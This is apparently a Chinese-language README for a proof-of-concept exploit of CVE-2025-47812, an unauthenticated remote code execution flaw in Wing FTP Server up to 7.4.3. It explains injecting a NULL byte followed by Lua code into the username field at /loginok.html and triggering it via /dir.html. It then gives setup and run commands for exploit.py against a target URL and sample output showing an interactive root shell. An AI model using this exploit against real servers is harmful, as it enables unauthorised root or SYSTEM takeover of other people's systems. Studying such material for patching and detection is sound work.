
CVE-2025-47812 的概念验证漏洞利用:Wing FTP Server <= 7.4.3 中通过用户名参数中的 NULL 字节注入实现未认证远程代码执行,从而获得 root/SYSTEM shell 访问权限。
Wing FTP Server <= 7.4.3 中的未授权远程代码执行漏洞。在登录时向
username参数注入 NULL 字节会导致 Lua 代码写入会话文件。当使用生成的会话 cookie 访问/dir.html时,注入的代码会被执行——在 Linux 上以 root 权限,在 Windows 上以 SYSTEM 权限。
/loginok.html,在 username 字段中注入一个 NULL 字节后跟 Lua 代码。/dir.html 触发注入的 Lua 代码的执行。python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -u http://TARGET
示例:
$ python3 exploit.py -u http://10.10.10.10
[*] 目标 http://10.10.10.10
[*] 使用注入载荷登录...
[*] 触发载荷...
[+] 目标存在漏洞!命令输出:
uid=0(root) gid=0(root) groups=0(root)
[+] Shell 已打开。输入 'exit' 或 Ctrl+C 退出。
Shell> whoami
root